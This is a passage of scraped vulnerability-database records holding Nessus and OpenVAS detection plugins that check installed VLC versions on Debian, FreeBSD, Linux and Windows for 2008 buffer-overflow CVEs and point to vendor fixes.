);\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=480724\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2008-1768\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2008-1769\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2008-1881\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2008-2147\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2008-2430\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2008-3794\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2008-4686\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2008-5032\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.debian.org/security/2009/dsa-1819\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"Upgrade the vlc packages.\n\nFor the oldstable distribution (etch), these problems have been fixed\nin version 0.8.6-svn20061012.debian-5.1+etch3.\n\nFor the stable distribution (lenny), these problems have been fixed in\nversion 0.8.6.h-4+lenny2, which was already included in the lenny\nrelease.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'VLC Media Player RealText Subtitle Overflow');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n script_cwe_id(119, 189, 264, 399);\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:vlc\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:4.0\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:5.0\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2009/06/18\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2009/06/19\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2009-2016 Tenable Network Security, Inc.\");\n script_family(english:\"Debian Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Debian/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"debian_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Debian/release\")) audit(AUDIT_OS_NOT, \"Debian\");\nif (!get_kb_item(\"Host/Debian/dpkg-l\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (deb_check(release:\"4.0\", prefix:\"libvlc0\", reference:\"0.8.6-svn20061012.debian-5.1+etch3\")) flag++;\nif (deb_check(release:\"4.0\", prefix:\"libvlc0-dev\", reference:\"0.8.6-svn20061012.debian-5.1+etch3\")) flag++;\nif (deb_check(release:\"4.0\", prefix:\"mozilla-plugin-vlc\", reference:\"0.8.6-svn20061012.debian-5.1+etch3\")) flag++;\nif (deb_check(release:\"4.0\", prefix:\"vlc\", reference:\"0.8.6-svn20061012.debian-5.1+etch3\")) flag++;\nif (deb_check(release:\"4.0\", prefix:\"vlc-nox\", reference:\"0.8.6-svn20061012.debian-5.1+etch3\")) flag++;\nif (deb_check(release:\"4.0\", prefix:\"vlc-plugin-alsa\", reference:\"0.8.6-svn20061012.debian-5.1+etch3\")) flag++;\nif (deb_check(release:\"4.0\", prefix:\"vlc-plugin-arts\", reference:\"0.8.6-svn20061012.debian-5.1+etch3\")) flag++;\nif (deb_check(release:\"4.0\", prefix:\"vlc-plugin-esd\", reference:\"0.8.6-svn20061012.debian-5.1+etch3\")) flag++;\nif (deb_check(release:\"4.0\", prefix:\"vlc-plugin-ggi\", reference:\"0.8.6-svn20061012.debian-5.1+etch3\")) flag++;\nif (deb_check(release:\"4.0\", prefix:\"vlc-plugin-glide\", reference:\"0.8.6-svn20061012.debian-5.1+etch3\")) flag++;\nif (deb_check(release:\"4.0\", prefix:\"vlc-plugin-sdl\", reference:\"0.8.6-svn20061012.debian-5.1+etch3\")) flag++;\nif (deb_check(release:\"4.0\", prefix:\"vlc-plugin-svgalib\", reference:\"0.8.6-svn20061012.debian-5.1+etch3\")) flag++;\nif (deb_check(release:\"4.0\", prefix:\"wxvlc\", reference:\"0.8.6-svn20061012.debian-5.1+etch3\")) flag++;\nif (deb_check(release:\"5.0\", prefix:\"vlc\", reference:\"0.8.6.h-4+lenny2\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:deb_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "openvas": [{"lastseen": "2017-07-02T21:10:24", "references": ["http://www.videolan.org/security/sa0810.html", "http://www.trapkit.de/advisories/TKADV2008-011.txt", "http://www.trapkit.de/advisories/TKADV2008-012.txt"], "pluginID": "800132", "description": "This host is installed with VLC Media Player and is prone to\n Multiple Stack-Based Buffer Overflow Vulnerabilities.", "edition": 1, "reporter": "Copyright (C) 2008 Greenbone Networks GmbH", "published": "2008-11-14T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 6.8}}, "title": "VLC Media Player Multiple Stack-Based BOF Vulnerabilities - Nov08 (Windows)", "type": "openvas", "naslFamily": "Denial of Service", "bulletinFamily": "scanner", "cvelist": ["CVE-2008-5032", "CVE-2008-5036"], "modified": "2017-02-20T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=800132", "id": "OPENVAS:800132", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_vlc_media_player_mult_bof_vuln_nov08_win.nasl 5370 2017-02-20 15:24:26Z cfi $\n#\n# VLC Media Player Multiple Stack-Based BOF Vulnerabilities - Nov08 (Windows)\n#\n# Authors:\n# Veerendra GG <veerendragg@secpod.com>\n#\n# Copyright:\n# Copyright (c) 2008 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ntag_solution = \"Upgrade to 0.9.6, or\n Apply the available patch from below link,\n http://git.videolan.org/?p=vlc.git;a=commitdiff;h=e3cef651125701a2e33a8d75b815b3e39681a447\n http://git.videolan.org/?p=vlc.git;a=commitdiff;h=5f63f1562d43f32331006c2c1a61742de031b84d\n\n *****\n NOTE: Ignore this warning if above mentioned patch is already applied.\n *****\";\n\ntag_impact = \"Successful exploitation allows attackers to execute arbitrary code\n within the context of the VLC media player by tricking a user into opening\n a specially crafted file or can even crash an affected application.\n Impact Level: Application\";\ntag_affected = \"VLC media player 0.5.0 through 0.9.5 on Windows (Any).\";\ntag_insight = \"The flaws are caused while parsing,\n - header of an invalid CUE image file related to modules/access/vcd/cdrom.c.\n - an invalid RealText(rt) subtitle file related to the ParseRealText function\n in modules/demux/subtitle.c.\";\ntag_summary = \"This host is installed with VLC Media Player and is prone to\n Multiple Stack-Based Buffer Overflow Vulnerabilities.\";\n\nif(description)\n{\n script_id(800132);\n script_version(\"$Revision: 5370 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-02-20 16:24:26 +0100 (Mon, 20 Feb 2017) $\");\n script_tag(name:\"creation_date\", value:\"2008-11-14 10:43:16 +0100 (Fri, 14 Nov 2008)\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_cve_id(\"CVE-2008-5032\", \"CVE-2008-5036\");\n script_bugtraq_id(32125);\n script_name(\"VLC Media Player Multiple Stack-Based BOF Vulnerabilities - Nov08 (Windows)\");\n\n script_xref(name : \"URL\" , value : \"http://www.videolan.org/security/sa0810.html\");\n script_xref(name : \"URL\" , value : \"http://www.trapkit.de/advisories/TKADV2008-011.txt\");\n script_xref(name : \"URL\" , value : \"http://www.trapkit.de/advisories/TKADV2008-012.txt\");\n\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2008 Greenbone Networks GmbH\");\n script_family(\"Denial of Service\");\n script_dependencies(\"secpod_reg_enum.nasl\");\n script_mandatory_keys(\"SMB/WindowsVersion\");\n script_require_ports(139, 445);\n script_tag(name : \"impact\" , value : tag_impact);\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name:\"qod_type\", value:\"registry\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n\ninclude(\"smb_nt.inc\");\ninclude(\"version_func.inc\");\n\nif(!get_kb_item(\"SMB/WindowsVersion\")){\n exit(0);\n}\n\nvlcVer = registry_get_sz(item:\"Version\", key:\"SOFTWARE\\VideoLAN\\VLC\");\nif(!vlcVer){\n exit(0);\n}\n\n# Check for VLC Media Player Version 0.5.0 to 0.9.5\nif(version_in_range(version:vlcVer, test_version:\"0.5.0\", test_version2:\"0.9.5\")){\n security_message(0);\n}\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-09-02T00:06:23", "references": ["http://www.videolan.org/security/sa0810.html", "http://www.trapkit.de/advisories/TKADV2008-011.txt", "http://www.trapkit.de/advisories/TKADV2008-012.txt"], "pluginID": "1361412562310800133", "description": "This host is installed with VLC Media Player and is prone to\n Multiple Stack-Based Buffer Overflow Vulnerabilities.", "edition": 3, "reporter": "Copyright (C) 2008 Greenbone Networks GmbH", "published": "2008-11-14T00:00:00", "title": "VLC Media Player Multiple Stack-Based BOF Vulnerabilities - Nov08 (Linux)", "type": "openvas", "enchantments": {"score": {"vector": "NONE", "value": 6.8}}, "naslFamily": "Denial of Service", "bulletinFamily": "scanner", "cvelist": ["CVE-2008-5032", "CVE-2008-5036"], "modified": "2018-04-06T00:00:00", "id": "OPENVAS:1361412562310800133", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310800133", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_vlc_media_player_mult_bof_vuln_nov08_lin.nasl 9349 2018-04-06 07:02:25Z cfischer $\n#\n# VLC Media Player Multiple Stack-Based BOF Vulnerabilities - Nov08 (Linux)\n#\n# Authors:\n# Veerendra GG <veerendragg@secpod.com>\n#\n# Copyright:\n# Copyright (c) 2008 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ntag_solution = \"Upgrade to 0.9.6, or\n Apply the available patch from below link,\n http://git.videolan.org/?p=vlc.git;a=commitdiff;h=e3cef651125701a2e33a8d75b815b3e39681a447\n http://git.videolan.org/?p=vlc.git;a=commitdiff;h=5f63f1562d43f32331006c2c1a61742de031b84d\n\n *****\n NOTE: Ignore this warning if above mentioned patch is already applied.\n *****\";\n\ntag_impact = \"Successful exploitation allows attackers to execute arbitrary code\n within the context of the VLC media player by tricking a user into opening\n a specially crafted file or can even crash an affected application.\n Impact Level: Application\";\ntag_affected = \"VLC media player 0.5.0 through 0.9.5 on Windows (Any).\";\ntag_insight = \"The flaws are caused while parsing,\n - header of an invalid CUE image file related to modules/access/vcd/cdrom.c.\n - an invalid RealText(rt) subtitle file related to the ParseRealText function\n in modules/demux/subtitle.c.\";\ntag_summary = \"This host is installed with VLC Media Player and is prone to\n Multiple Stack-Based Buffer Overflow Vulnerabilities.\";\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.800133\");\n script_version(\"$Revision: 9349 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-04-06 09:02:25 +0200 (Fri, 06 Apr 2018) $\");\n script_tag(name:\"creation_date\", value:\"2008-11-14 10:43:16 +0100 (Fri, 14 Nov 2008)\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_cve_id(\"CVE-2008-5032\", \"CVE-2008-5036\");\n script_bugtraq_id(32125);\n script_name(\"VLC Media Player Multiple Stack-Based BOF Vulnerabilities - Nov08 (Linux)\");\n\n script_xref(name : \"URL\" , value : \"http://www.videolan.org/security/sa0810.html\");\n script_xref(name : \"URL\" , value : \"http://www.trapkit.de/advisories/TKADV2008-011.txt\");\n script_xref(name : \"URL\" , value : \"http://www.trapkit.de/advisories/TKADV2008-012.txt\");\n\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2008 Greenbone Networks GmbH\");\n script_family(\"Denial of Service\");\n script_mandatory_keys(\"login/SSH/success\");\n script_dependencies(\"gather-package-list.nasl\");\n script_tag(name : \"impact\" , value : tag_impact);\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name:\"qod_type\", value:\"executable_version_unreliable\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n\ninclude(\"ssh_func.inc\");\ninclude(\"version_func.inc\");\n\nsock = ssh_login_or_reuse_connection();\nif(!sock){\n exit(0);\n}\n\nvlcBinPath = find_bin(prog_name:\"vlc\", sock:sock);\nforeach binPath (vlcBinPath)\n{\n if( chomp(binPath) == \"\" ) continue;\n vlcVer = get_bin_version(full_prog_name:chomp(binPath), version_argv:\"--version\",\n ver_pattern:\"ersion ([0-9.]+[a-z]?)\", sock:sock);\n if( ! isnull( vlcVer[1] ) )\n {\n # Check for VLC Media Player Version 0.5.0 - 0.9.5\n if(version_in_range(version:vlcVer[1], test_version:\"0.5.0\", test_version2:\"0.9.5\")){\n security_message(0);\n }\n ssh_close_connection();\n exit(0);\n }\n}\nssh_close_connection();\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-07-02T21:10:20", "references": [], "pluginID": "61879", "description": "The remote host is missing an update to the system\nas announced in the referenced advisory.", "edition": 1, "reporter": "Copyright (c) 2008 E-Soft Inc. http://www.securityspace.com", "published": "2008-11-19T00:00:00", "title": "FreeBSD Ports: vlc", "type": "openvas", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "naslFamily": "FreeBSD Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2008-5032", "CVE-2008-5036"], "modified": "2016-10-04T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=61879", "id": "OPENVAS:61879", "sourceData": "#\n#VID 4b09378e-addb-11dd-a578-0030843d3802\n# OpenVAS Vulnerability Test\n# $\n# Description: Auto generated from VID 4b09378e-addb-11dd-a578-0030843d3802\n#\n# Authors:\n# Thomas Reinke <reinke@securityspace.com>\n#\n# Copyright:\n# Copyright (c) 2008 E-Soft Inc. http://www.securityspace.com\n# Text descriptions are largely excerpted from the referenced\n# advisories, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2,\n# as published by the Free Software Foundation\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\ninclude(\"revisions-lib.inc\");\ntag_insight = \"The following packages are affected:\n vlc\n vlc-devel\";\ntag_solution = \"Update your system with the appropriate patches or\nsoftware upgrades.\n\nhttp://www.videolan.org/security/sa0810.html\nhttp://www.trapkit.de/advisories/TKADV2008-012.txt\nhttp://www.vuxml.org/freebsd/4b09378e-addb-11dd-a578-0030843d3802.html\";\ntag_summary = \"The remote host is missing an update to the system\nas announced in the referenced advisory.\";\n\n\n\nif(description)\n{\n script_id(61879);\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_version(\"$Revision: 4203 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2016-10-04 07:30:30 +0200 (Tue, 04 Oct 2016) $\");\n script_tag(name:\"creation_date\", value:\"2008-11-19 16:52:57 +0100 (Wed, 19 Nov 2008)\");\n script_cve_id(\"CVE-2008-5032\", \"CVE-2008-5036\");\n script_name(\"FreeBSD Ports: vlc\");\n\n\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2008 E-Soft Inc. http://www.securityspace.com\");\n script_family(\"FreeBSD Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/freebsdrel\", \"login/SSH/success\");\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n#\n# The script code starts here\n#\n\ninclude(\"pkg-lib-bsd.inc\");\n\ntxt = \"\";\nvuln = 0;\nbver = portver(pkg:\"vlc\");\nif(!isnull(bver) && revcomp(a:bver, b:\"0.8.6.i_2,2\")<0) {\n txt += 'Package vlc version ' + bver + ' is installed which is known to be vulnerable.\\n';\n vuln = 1;\n}\nbver = portver(pkg:\"vlc-devel\");\nif(!isnull(bver) && revcomp(a:bver, b:\"0.9.6,3\")<0) {\n txt += 'Package vlc-devel version ' + bver + ' is installed which is known to be vulnerable.\\n';\n vuln = 1;\n}\n\nif(vuln) {\n security_message(data:string(txt));\n} else if (__pkg_match) {\n exit(99); # Not vulnerable.\n}\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-07-02T21:10:18", "references": ["http://www.videolan.org/security/sa0810.html", "http://www.trapkit.de/advisories/TKADV2008-011.txt", "http://www.trapkit.de/advisories/TKADV2008-012.txt"], "pluginID": "800133", "description": "This host is installed with VLC Media Player and is prone to\n Multiple Stack-Based Buffer Overflow Vulnerabilities.", "edition": 1, "reporter": "Copyright (C) 2008 Greenbone Networks GmbH", "published": "2008-11-14T00:00:00", "title": "VLC Media Player Multiple Stack-Based BOF Vulnerabilities - Nov08 (Linux)", "type": "openvas", "enchantments": {"score": {"vector": "NONE", "value": 6.8}}, "naslFamily": "Denial of Service", "bulletinFamily": "scanner", "cvelist": ["CVE-2008-5032", "CVE-2008-5036"], "modified": "2017-02-01T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=800133", "id": "OPENVAS:800133", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_vlc_media_player_mult_bof_vuln_nov08_lin.nasl 5158 2017-02-01 14:53:04Z mime $\n#\n# VLC Media Player Multiple Stack-Based BOF Vulnerabilities - Nov08 (Linux)\n#\n# Authors:\n# Veerendra GG <veerendragg@secpod.com>\n#\n# Copyright:\n# Copyright (c) 2008 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ntag_solution = \"Upgrade to 0.9.6, or\n Apply the available patch from below link,\n http://git.videolan.org/?p=vlc.git;a=commitdiff;h=e3cef651125701a2e33a8d75b815b3e39681a447\n http://git.videolan.org/?p=vlc.git;a=commitdiff;h=5f63f1562d43f32331006c2c1a61742de031b84d\n\n *****\n NOTE: Ignore this warning if above mentioned patch is already applied.\n *****\";\n\ntag_impact = \"Successful exploitation allows attackers to execute arbitrary code\n within the context of the VLC media player by tricking a user into opening\n a specially crafted file or can even crash an affected application.\n Impact Level: Application\";\ntag_affected = \"VLC media player 0.5.0 through 0.9.5 on Windows (Any).\";\ntag_insight = \"The flaws are caused while parsing,\n - header of an invalid CUE image file related to modules/access/vcd/cdrom.c.\n - an invalid RealText(rt) subtitle file related to the ParseRealText function\n in modules/demux/subtitle.c.\";\ntag_summary = \"This host is installed with VLC Media Player and is prone to\n Multiple Stack-Based Buffer Overflow Vulnerabilities.\";\n\nif(description)\n{\n script_id(800133);\n script_version(\"$Revision: 5158 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-02-01 15:53:04 +0100 (Wed, 01 Feb 2017) $\");\n script_tag(name:\"creation_date\", value:\"2008-11-14 10:43:16 +0100 (Fri, 14 Nov 2008)\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_cve_id(\"CVE-2008-5032\", \"CVE-2008-5036\");\n script_bugtraq_id(32125);\n script_name(\"VLC Media Player Multiple Stack-Based BOF Vulnerabilities - Nov08 (Linux)\");\n\n script_xref(name : \"URL\" , value : \"http://www.videolan.org/security/sa0810.html\");\n script_xref(name : \"URL\" , value : \"http://www.trapkit.de/advisories/TKADV2008-011.txt\");\n script_xref(name : \"URL\" , value : \"http://www.trapkit.de/advisories/TKADV2008-012.txt\");\n\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2008 Greenbone Networks GmbH\");\n script_family(\"Denial of Service\");\n script_mandatory_keys(\"login/SSH/success\");\n script_dependencies(\"gather-package-list.nasl\");\n script_tag(name : \"impact\" , value : tag_impact);\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name:\"qod_type\", value:\"executable_version_unreliable\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n\ninclude(\"ssh_func.inc\");\ninclude(\"version_func.inc\");\n\nsock = ssh_login_or_reuse_connection();\nif(!sock){\n exit(0);\n}\n\nvlcBinPath = find_bin(prog_name:\"vlc\", sock:sock);\nforeach binPath (vlcBinPath)\n{\n if( chomp(binPath) == \"\" ) continue;\n vlcVer = get_bin_version(full_prog_name:chomp(binPath), version_argv:\"--version\",\n ver_pattern:\"ersion ([0-9.]+[a-z]?)\", sock:sock);\n if( ! isnull( vlcVer[1] ) )\n {\n # Check for VLC Media Player Version 0.5.0 - 0.9.5\n if(version_in_range(version:vlcVer[1], test_version:\"0.5.0\", test_version2:\"0.9.5\")){\n security_message(0);\n }\n ssh_close_connection();\n exit(0);\n }\n}\nssh_close_connection();\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-09-02T00:06:17", "references": ["http://www.videolan.org/security/sa0810.html", "http://www.trapkit.de/advisories/TKADV2008-011.txt", "http://www.trapkit.de/advisories/TKADV2008-012.txt"], "pluginID": "1361412562310800132", "description": "This host is installed with VLC Media Player and is prone to\n Multiple Stack-Based Buffer Overflow Vulnerabilities.", "edition": 3, "reporter": "Copyright (C) 2008 Greenbone Networks GmbH", "published": "2008-11-14T00:00:00", "title": "VLC Media Player Multiple Stack-Based BOF Vulnerabilities - Nov08 (Windows)", "type": "openvas", "enchantments": {"score": {"vector": "NONE", "value": 6.8}}, "naslFamily": "Denial of Service", "bulletinFamily": "scanner", "cvelist": ["CVE-2008-5032", "CVE-2008-5036"], "modified": "2018-04-06T00:00:00", "id": "OPENVAS:1361412562310800132", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310800132", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_vlc_media_player_mult_bof_vuln_nov08_win.nasl 9349 2018-04-06 07:02:25Z cfischer $\n#\n# VLC Media Player Multiple Stack-Based BOF Vulnerabilities - Nov08 (Windows)\n#\n# Authors:\n# Veerendra GG <veerendragg@secpod.com>\n#\n# Copyright:\n# Copyright (c) 2008 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ntag_solution = \"Upgrade to 0.9.6, or\n Apply the available patch from below link,\n http://git.videolan.org/?p=vlc.git;a=commitdiff;h=e3cef651125701a2e33a8d75b815b3e39681a447\n http://git.videolan.org/?p=vlc.git;a=commitdiff;h=5f63f1562d43f32331006c2c1a61742de031b84d\n\n *****\n NOTE: Ignore this warning if above mentioned patch is already applied.\n *****\";\n\ntag_impact = \"Successful exploitation allows attackers to execute arbitrary code\n within the context of the VLC media player by tricking a user into opening\n a specially crafted file or can even crash an affected application.\n Impact Level: Application\";\ntag_affected = \"VLC media player 0.5.0 through 0.9.5 on Windows (Any).\";\ntag_insight = \"The flaws are caused while parsing,\n - header of an invalid CUE image file related to modules/access/vcd/cdrom.c.\n - an invalid RealText(rt) subtitle file related to the ParseRealText function\n in modules/demux/subtitle.c.\";\ntag_summary = \"This host is installed with VLC Media Player and is prone to\n Multiple Stack-Based Buffer Overflow Vulnerabilities.\";\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.800132\");\n script_version(\"$Revision: 9349 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-04-06 09:02:25 +0200 (Fri, 06 Apr 2018) $\");\n script_tag(name:\"creation_date\", value:\"2008-11-14 10:43:16 +0100 (Fri, 14 Nov 2008)\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_cve_id(\"CVE-2008-5032\", \"CVE-2008-5036\");\n script_bugtraq_id(32125);\n script_name(\"VLC Media Player Multiple Stack-Based BOF Vulnerabilities - Nov08 (Windows)\");\n\n script_xref(name : \"URL\" , value : \"http://www.videolan.org/security/sa0810.html\");\n script_xref(name : \"URL\" , value : \"http://www.trapkit.de/advisories/TKADV2008-011.txt\");\n script_xref(name : \"URL\" , value : \"http://www.trapkit.de/advisories/TKADV2008-012.txt\");\n\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2008 Greenbone Networks GmbH\");\n script_family(\"Denial of Service\");\n script_dependencies(\"secpod_reg_enum.nasl\");\n script_mandatory_keys(\"SMB/WindowsVersion\");\n script_require_ports(139, 445);\n script_tag(name : \"impact\" , value : tag_impact);\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name:\"qod_type\", value:\"registry\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n\ninclude(\"smb_nt.inc\");\ninclude(\"version_func.inc\");\n\nif(!get_kb_item(\"SMB/WindowsVersion\")){\n exit(0);\n}\n\nvlcVer = registry_get_sz(item:\"Version\", key:\"SOFTWARE\\VideoLAN\\VLC\");\nif(!vlcVer){\n exit(0);\n}\n\n# Check for VLC Media Player Version 0.5.0 to 0.9.5\nif(version_in_range(version:vlcVer, test_version:\"0.5.0\", 